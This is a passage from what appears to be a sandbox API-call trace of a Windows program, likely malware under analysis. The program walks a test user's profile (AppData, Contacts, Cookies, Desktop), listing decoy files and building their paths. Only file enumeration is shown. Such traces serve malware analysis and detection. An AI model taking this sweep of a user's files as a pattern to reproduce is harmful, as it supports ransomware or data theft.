lpFindFileData=0x3dea50) returned 1 [0040.230] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.230] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.230] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.230] lstrcmpW (lpString1="Local", lpString2=".") returned 1 [0040.230] lstrcmpW (lpString1="Local", lpString2="..") returned 1 [0040.230] lstrlenW (lpString="c:\\Users\\aETAdzjz\\AppData\\") returned 26 [0040.230] lstrlenW (lpString="Local") returned 5 [0040.230] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\AppData\\", lpString2="Local" | out: lpString1="c:\\Users\\aETAdzjz\\AppData\\Local") returned="c:\\Users\\aETAdzjz\\AppData\\Local" [0040.231] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.231] lstrcmpW (lpString1="LocalLow", lpString2=".") returned 1 [0040.231] lstrcmpW (lpString1="LocalLow", lpString2="..") returned 1 [0040.231] lstrlenW (lpString="c:\\Users\\aETAdzjz\\AppData\\") returned 26 [0040.231] lstrlenW (lpString="LocalLow") returned 8 [0040.231] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\AppData\\", lpString2="LocalLow" | out: lpString1="c:\\Users\\aETAdzjz\\AppData\\LocalLow") returned="c:\\Users\\aETAdzjz\\AppData\\LocalLow" [0040.231] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.231] lstrcmpW (lpString1="Roaming", lpString2=".") returned 1 [0040.231] lstrcmpW (lpString1="Roaming", lpString2="..") returned 1 [0040.231] lstrlenW (lpString="c:\\Users\\aETAdzjz\\AppData\\") returned 26 [0040.231] lstrlenW (lpString="Roaming") returned 7 [0040.231] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\AppData\\", lpString2="Roaming" | out: lpString1="c:\\Users\\aETAdzjz\\AppData\\Roaming") returned="c:\\Users\\aETAdzjz\\AppData\\Roaming" [0040.231] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.231] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.231] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.231] lstrcmpW (lpString1="Application Data", lpString2=".") returned 1 [0040.231] lstrcmpW (lpString1="Application Data", lpString2="..") returned 1 [0040.231] lstrlenW (lpString="c:\\Users\\aETAdzjz\\") returned 18 [0040.231] lstrlenW (lpString="Application Data") returned 16 [0040.231] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\", lpString2="Application Data" | out: lpString1="c:\\Users\\aETAdzjz\\Application Data") returned="c:\\Users\\aETAdzjz\\Application Data" [0040.231] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Application Data", lpString2="\\" | out: lpString1="c:\\Users\\aETAdzjz\\Application Data\\") returned="c:\\Users\\aETAdzjz\\Application Data\\" [0040.231] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Application Data\\") returned 35 [0040.231] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Application Data\\", lpString2="*" | out: lpString1="c:\\Users\\aETAdzjz\\Application Data\\*") returned="c:\\Users\\aETAdzjz\\Application Data\\*" [0040.231] FindFirstFileW (in: lpFileName="c:\\Users\\aETAdzjz\\Application Data\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0xffffffff [0040.231] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.231] lstrcmpW (lpString1="Contacts", lpString2=".") returned 1 [0040.231] lstrcmpW (lpString1="Contacts", lpString2="..") returned 1 [0040.231] lstrlenW (lpString="c:\\Users\\aETAdzjz\\") returned 18 [0040.231] lstrlenW (lpString="Contacts") returned 8 [0040.231] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\", lpString2="Contacts" | out: lpString1="c:\\Users\\aETAdzjz\\Contacts") returned="c:\\Users\\aETAdzjz\\Contacts" [0040.231] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Contacts", lpString2="\\" | out: lpString1="c:\\Users\\aETAdzjz\\Contacts\\") returned="c:\\Users\\aETAdzjz\\Contacts\\" [0040.231] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Contacts\\") returned 27 [0040.231] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Contacts\\", lpString2="*" | out: lpString1="c:\\Users\\aETAdzjz\\Contacts\\*") returned="c:\\Users\\aETAdzjz\\Contacts\\*" [0040.231] FindFirstFileW (in: lpFileName="c:\\Users\\aETAdzjz\\Contacts\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.231] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.231] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.231] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.231] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.231] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.231] lstrcmpW (lpString1="Aclviho ASldjfl.contact", lpString2=".") returned 1 [0040.231] lstrcmpW (lpString1="Aclviho ASldjfl.contact", lpString2="..") returned 1 [0040.231] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Contacts\\") returned 27 [0040.231] lstrlenW (lpString="Aclviho ASldjfl.contact") returned 23 [0040.231] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Contacts\\", lpString2="Aclviho ASldjfl.contact" | out: lpString1="c:\\Users\\aETAdzjz\\Contacts\\Aclviho ASldjfl.contact") returned="c:\\Users\\aETAdzjz\\Contacts\\Aclviho ASldjfl.contact" [0040.232] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Contacts\\Aclviho ASldjfl.contact") returned 50 [0040.232] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.232] lstrcmpW (lpString1="Administrator.contact", lpString2=".") returned 1 [0040.232] lstrcmpW (lpString1="Administrator.contact", lpString2="..") returned 1 [0040.232] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Contacts\\") returned 27 [0040.232] lstrlenW (lpString="Administrator.contact") returned 21 [0040.232] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Contacts\\", lpString2="Administrator.contact" | out: lpString1="c:\\Users\\aETAdzjz\\Contacts\\Administrator.contact") returned="c:\\Users\\aETAdzjz\\Contacts\\Administrator.contact" [0040.232] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Contacts\\Administrator.contact") returned 48 [0040.232] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.232] lstrcmpW (lpString1="asdlfk poopvy.contact", lpString2=".") returned 1 [0040.232] lstrcmpW (lpString1="asdlfk poopvy.contact", lpString2="..") returned 1 [0040.232] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Contacts\\") returned 27 [0040.232] lstrlenW (lpString="asdlfk poopvy.contact") returned 21 [0040.232] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Contacts\\", lpString2="asdlfk poopvy.contact" | out: lpString1="c:\\Users\\aETAdzjz\\Contacts\\asdlfk poopvy.contact") returned="c:\\Users\\aETAdzjz\\Contacts\\asdlfk poopvy.contact" [0040.232] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Contacts\\asdlfk poopvy.contact") returned 48 [0040.232] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.232] lstrcmpW (lpString1="chucu jadnvk.contact", lpString2=".") returned 1 [0040.232] lstrcmpW (lpString1="chucu jadnvk.contact", lpString2="..") returned 1 [0040.232] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Contacts\\") returned 27 [0040.232] lstrlenW (lpString="chucu jadnvk.contact") returned 20 [0040.232] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Contacts\\", lpString2="chucu jadnvk.contact" | out: lpString1="c:\\Users\\aETAdzjz\\Contacts\\chucu jadnvk.contact") returned="c:\\Users\\aETAdzjz\\Contacts\\chucu jadnvk.contact" [0040.232] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Contacts\\chucu jadnvk.contact") returned 47 [0040.232] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.232] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0040.232] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0040.232] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Contacts\\") returned 27 [0040.232] lstrlenW (lpString="desktop.ini") returned 11 [0040.232] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Contacts\\", lpString2="desktop.ini" | out: lpString1="c:\\Users\\aETAdzjz\\Contacts\\desktop.ini") returned="c:\\Users\\aETAdzjz\\Contacts\\desktop.ini" [0040.232] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Contacts\\desktop.ini") returned 38 [0040.232] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.232] lstrcmpW (lpString1="lulcit amkdfe.contact", lpString2=".") returned 1 [0040.232] lstrcmpW (lpString1="lulcit amkdfe.contact", lpString2="..") returned 1 [0040.232] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Contacts\\") returned 27 [0040.232] lstrlenW (lpString="lulcit amkdfe.contact") returned 21 [0040.232] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Contacts\\", lpString2="lulcit amkdfe.contact" | out: lpString1="c:\\Users\\aETAdzjz\\Contacts\\lulcit amkdfe.contact") returned="c:\\Users\\aETAdzjz\\Contacts\\lulcit amkdfe.contact" [0040.232] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Contacts\\lulcit amkdfe.contact") returned 48 [0040.232] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.232] lstrcmpW (lpString1="sikvnb huvuib.contact", lpString2=".") returned 1 [0040.232] lstrcmpW (lpString1="sikvnb huvuib.contact", lpString2="..") returned 1 [0040.232] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Contacts\\") returned 27 [0040.232] lstrlenW (lpString="sikvnb huvuib.contact") returned 21 [0040.232] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Contacts\\", lpString2="sikvnb huvuib.contact" | out: lpString1="c:\\Users\\aETAdzjz\\Contacts\\sikvnb huvuib.contact") returned="c:\\Users\\aETAdzjz\\Contacts\\sikvnb huvuib.contact" [0040.232] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Contacts\\sikvnb huvuib.contact") returned 48 [0040.232] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.232] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.232] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.233] lstrcmpW (lpString1="Cookies", lpString2=".") returned 1 [0040.233] lstrcmpW (lpString1="Cookies", lpString2="..") returned 1 [0040.233] lstrlenW (lpString="c:\\Users\\aETAdzjz\\") returned 18 [0040.233] lstrlenW (lpString="Cookies") returned 7 [0040.233] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\", lpString2="Cookies" | out: lpString1="c:\\Users\\aETAdzjz\\Cookies") returned="c:\\Users\\aETAdzjz\\Cookies" [0040.233] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Cookies", lpString2="\\" | out: lpString1="c:\\Users\\aETAdzjz\\Cookies\\") returned="c:\\Users\\aETAdzjz\\Cookies\\" [0040.233] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Cookies\\") returned 26 [0040.233] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Cookies\\", lpString2="*" | out: lpString1="c:\\Users\\aETAdzjz\\Cookies\\*") returned="c:\\Users\\aETAdzjz\\Cookies\\*" [0040.233] FindFirstFileW (in: lpFileName="c:\\Users\\aETAdzjz\\Cookies\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0xffffffff [0040.233] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.233] lstrcmpW (lpString1="Desktop", lpString2=".") returned 1 [0040.233] lstrcmpW (lpString1="Desktop", lpString2="..") returned 1 [0040.233] lstrlenW (lpString="c:\\Users\\aETAdzjz\\") returned 18 [0040.233] lstrlenW (lpString="Desktop") returned 7 [0040.233] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\", lpString2="Desktop" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop") returned="c:\\Users\\aETAdzjz\\Desktop" [0040.233] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop", lpString2="\\" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\") returned="c:\\Users\\aETAdzjz\\Desktop\\" [0040.233] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0040.233] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="*" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\*") returned="c:\\Users\\aETAdzjz\\Desktop\\*" [0040.233] FindFirstFileW (in: lpFileName="c:\\Users\\aETAdzjz\\Desktop\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.233] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.233] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.233] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.233] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.233] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.233] lstrcmpW (lpString1="0B2i4zUHRYI3kPPp6Y.avi", lpString2=".") returned 1 [0040.233] lstrcmpW (lpString1="0B2i4zUHRYI3kPPp6Y.avi", lpString2="..") returned 1 [0040.233] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0040.233] lstrlenW (lpString="0B2i4zUHRYI3kPPp6Y.avi") returned 22 [0040.233] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="0B2i4zUHRYI3kPPp6Y.avi" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\0B2i4zUHRYI3kPPp6Y.avi") returned="c:\\Users\\aETAdzjz\\Desktop\\0B2i4zUHRYI3kPPp6Y.avi" [0040.233] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\0B2i4zUHRYI3kPPp6Y.avi") returned 48 [0040.233] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.233] lstrcmpW (lpString1="0dhb1lQ5Yot7UDpqiLV.rtf", lpString2=".") returned 1 [0040.233] lstrcmpW (lpString1="0dhb1lQ5Yot7UDpqiLV.rtf", lpString2="..") returned 1 [0040.233] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0040.233] lstrlenW (lpString="0dhb1lQ5Yot7UDpqiLV.rtf") returned 23 [0040.233] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="0dhb1lQ5Yot7UDpqiLV.rtf" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\0dhb1lQ5Yot7UDpqiLV.rtf") returned="c:\\Users\\aETAdzjz\\Desktop\\0dhb1lQ5Yot7UDpqiLV.rtf" [0040.233] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\0dhb1lQ5Yot7UDpqiLV.rtf") returned 49 [0040.233] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.233] lstrcmpW (lpString1="0Mck7qEx.odt", lpString2=".") returned 1 [0040.233] lstrcmpW (lpString1="0Mck7qEx.odt", lpString2="..") returned 1 [0040.233] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0040.233] lstrlenW (lpString="0Mck7qEx.odt") returned 12 [0040.233] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="0Mck7qEx.odt" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\0Mck7qEx.odt") returned="c:\\Users\\aETAdzjz\\Desktop\\0Mck7qEx.odt" [0040.233] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\0Mck7qEx.odt") returned 38 [0040.234] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.234] lstrcmpW (lpString1="1rDOjKAp4RUDMzLTH8Wj.mp3", lpString2=".") returned 1 [0040.234] lstrcmpW (lpString1="1rDOjKAp4RUDMzLTH8Wj.mp3", lpString2="..") returned 1 [0040.234] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0040.234] lstrlenW (lpString="1rDOjKAp4RUDMzLTH8Wj.mp3") returned 24 [0040.234] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="1rDOjKAp4RUDMzLTH8Wj.mp3" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\1rDOjKAp4RUDMzLTH8Wj.mp3") returned="c:\\Users\\aETAdzjz\\Desktop\\1rDOjKAp4RUDMzLTH8Wj.mp3" [0040.234] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\1rDOjKAp4RUDMzLTH8Wj.mp3") returned 50 [0040.234] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.234] lstrcmpW (lpString1="3YE3z0kK77cT F.wav", lpString2=".") returned 1 [0040.234] lstrcmpW (lpString1="3YE3z0kK77cT F.wav", lpString2="..") returned 1 [0040.234] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0040.234] lstrlenW (lpString="3YE3z0kK77cT F.wav") returned 18 [0040.234] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="3YE3z0kK77cT F.wav" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\3YE3z0kK77cT F.wav") returned="c:\\Users\\aETAdzjz\\Desktop\\3YE3z0kK77cT F.wav" [0040.234] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\3YE3z0kK77cT F.wav") returned 44 [0040.234] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.234] lstrcmpW (lpString1="46PXdLLe2Bx.wav", lpString2=".") returned 1 [0040.234] lstrcmpW (lpString1="46PXdLLe2Bx.wav", lpString2="..") returned 1 [0040.234] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0040.234] lstrlenW (lpString="46PXdLLe2Bx.wav") returned 15 [0040.234] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="46PXdLLe2Bx.wav" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\46PXdLLe2Bx.wav") returned="c:\\Users\\aETAdzjz\\Desktop\\46PXdLLe2Bx.wav" [0040.234] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\46PXdLLe2Bx.wav") returned 41 [0040.234] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.234] lstrcmpW (lpString1="4_0E8edvE.flv", lpString2=".") returned 1 [0040.234] lstrcmpW (lpString1="4_0E8edvE.flv", lpString2="..") returned 1 [0040.234] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0040.234] lstrlenW (lpString="4_0E8edvE.flv") returned 13 [0040.234] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="4_0E8edvE.flv" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\4_0E8edvE.flv") returned="c:\\Users\\aETAdzjz\\Desktop\\4_0E8edvE.flv" [0040.234] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\4_0E8edvE.flv") returned 39 [0040.234] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.234] lstrcmpW (lpString1="8wGZy1b.png", lpString2=".") returned 1 [0040.234] lstrcmpW (lpString1="8wGZy1b.png", lpString2="..") returned 1 [0040.234] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0040.234] lstrlenW (lpString="8wGZy1b.png") returned 11 [0040.234] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="8wGZy1b.png" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\8wGZy1b.png") returned="c:\\Users\\aETAdzjz\\Desktop\\8wGZy1b.png" [0040.234] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\8wGZy1b.png") returned 37 [0040.234] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.234] lstrcmpW (lpString1="B4Z1rPYdjgTF8anQ.avi", lpString2=".") returned 1 [0040.234] lstrcmpW (lpString1="B4Z1rPYdjgTF8anQ.avi", lpString2="..") returned 1 [0040.234] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0040.234] lstrlenW (lpString="B4Z1rPYdjgTF8anQ.avi") returned 20 [0040.234] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="B4Z1rPYdjgTF8anQ.avi" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\B4Z1rPYdjgTF8anQ.avi") returned="c:\\Users\\aETAdzjz\\Desktop\\B4Z1rPYdjgTF8anQ.avi" [0040.234] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\B4Z1rPYdjgTF8anQ.avi") returned 46 [0040.234] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.234] lstrcmpW (lpString1="BFKe0nWJ-uX glTw7h99.wav", lpString2=".") returned 1 [0040.234] lstrcmpW (lpString1="BFKe0nWJ-uX glTw7h99.wav", lpString2="..") returned 1 [0040.234] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0040.234] lstrlenW (lpString="BFKe0nWJ-uX glTw7h99.wav") returned 24 [0040.234] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="BFKe0nWJ-uX glTw7h99.wav" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\BFKe0nWJ-uX glTw7h99.wav") returned="c:\\Users\\aETAdzjz\\Desktop\\BFKe0nWJ-uX glTw7h99.wav" [0040.234] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\BFKe0nWJ-uX glTw7h99.wav") returned 50 [0040.235] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.235] lstrcmpW (lpString1="C9uT6lYTwIA.xlsx", lpString2=".") returned 1 [0040.235] lstrcmpW (lpString1="C9uT6lYTwIA.xlsx", lpString2="..") returned 1 [0040.235] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0040.235] lstrlenW (lpString="C9uT6lYTwIA.xlsx") returned 16 [0040.235] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="C9uT6lYTwIA.xlsx" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\C9uT6lYTwIA.xlsx") returned="c:\\Users\\aETAdzjz\\Desktop\\C9uT6lYTwIA.xlsx" [0040.235] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\C9uT6lYTwIA.xlsx") returned 42 [0040.235] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.235] lstrcmpW (lpString1="cISVwXWmuvNvNDM.jpg", lpString2=".") returned 1 [0040.235] lstrcmpW (lpString1="cISVwXWmuvNvNDM.jpg", lpString2="..") returned 1 [0040.235] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0040.235] lstrlenW (lpString="cISVwXWmuvNvNDM.jpg") returned 19 [0040.235] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="cISVwXWmuvNvNDM.jpg" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\cISVwXWmuvNvNDM.jpg") returned="c:\\Users\\aETAdzjz\\Desktop\\cISVwXWmuvNvNDM.jpg" [0040.235] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\cISVwXWmuvNvNDM.jpg") returned 45 [0040.235] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.235] lstrcmpW (lpString1="cp16RO_.mp4", lpString2=".") returned 1 [0040.235] lstrcmpW (lpString1="cp16RO_.mp4", lpString2="..") returned 1 [0040.235] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0040.235] lstrlenW (lpString="cp16RO_.mp4") returned 11 [0040.235] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="cp16RO_.mp4" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\cp16RO_.mp4") returned="c:\\Users\\aETAdzjz\\Desktop\\cp16RO_.mp4" [0040.235] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\cp16RO_.mp4") returned 37 [0040.235] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.235] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0040.235] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0040.235] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0040.235] lstrlenW (lpString="desktop.ini") returned 11 [0040.235] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="desktop.ini" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\desktop.ini") returned="c:\\Users\\aETAdzjz\\Desktop\\desktop.ini" [0040.235] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\desktop.ini") returned 37 [0040.235] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.235] lstrcmpW (lpString1="DMWUzQLjb06L.flv", lpString2=".") returned 1 [0040.235] lstrcmpW (lpString1="DMWUzQLjb06L.flv", lpString2="..") returned 1 [0040.235] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0040.235] lstrlenW (lpString="DMWUzQLjb06L.flv") returned 16 [0040.235] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="DMWUzQLjb06L.flv" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\DMWUzQLjb06L.flv") returned="c:\\Users\\aETAdzjz\\Desktop\\DMWUzQLjb06L.flv" [0040.235] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\DMWUzQLjb06L.flv") returned 42 [0040.235] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.235] lstrcmpW (lpString1="fcG74r-hLZX8KpasEjR.xls", lpString2=".") returned 1 [0040.235] lstrcmpW (lpString1="fcG74r-hLZX8KpasEjR.xls", lpString2="..") returned 1 [0040.235] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0040.235] lstrlenW (lpString="fcG74r-hLZX8KpasEjR.xls") returned 23 [0040.235] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="fcG74r-hLZX8KpasEjR.xls" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\fcG74r-hLZX8KpasEjR.xls") returned="c:\\Users\\aETAdzjz\\Desktop\\fcG74r-hLZX8KpasEjR.xls" [0040.235] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\fcG74r-hLZX8KpasEjR.xls") returned 49 [0040.235] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.235] lstrcmpW (lpString1="fEub.wav", lpString2=".") returned 1 [0040.235] lstrcmpW (lpString1="fEub.wav", lpString2="..") returned 1 [0040.235] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0040.236] lstrlenW (lpString="fEub.wav") returned 8 [0040.236] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", 